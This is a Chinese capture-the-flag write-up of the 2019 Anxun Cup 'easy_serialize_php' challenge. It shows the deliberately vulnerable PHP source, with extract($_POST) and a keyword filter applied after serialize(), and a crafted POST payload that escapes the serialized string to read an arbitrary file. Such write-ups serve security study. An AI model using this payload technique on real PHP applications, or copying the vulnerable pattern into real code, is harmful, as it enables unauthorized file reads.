安洵杯2019 easy_serialize_php wp

前言

之前有一些题目是关键字替换导致字符串长度变长,把后面的原有参数挤出去了,本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。

先看这样一个代码:

$a = array('' => 'world');
echo serialize($a);

得到:

a:1:{s:0:"";s:5:"world";}

那么打印出正常反序列化后的结果:

array (size=1)
'' => string 'world' (length=5)

将序列化字符串改为:

a:1:{s:12:"";s:5:"world";s:1:"1";}

得到:

array (size=1)
  '";s:5:"world' => string '1' (length=1)

这说明了序列化数组的字符串键的值为空时,会根据前面s指定的长度,把第二个双引号及其后面的字符都当成字符串

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

通过extract($_POST);变量覆盖来改变前面两个$_SESSION值;后面$_SESSION['img']不能绕过,序列化后通过filter将关键字替换为空,那么这里便存在逃逸

构造:

_SESSION[flagphp]=;s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";}

经过序列化替换后得到:

a:2:{s:7:"";s:50:";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";} ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

便可逃逸出后面的img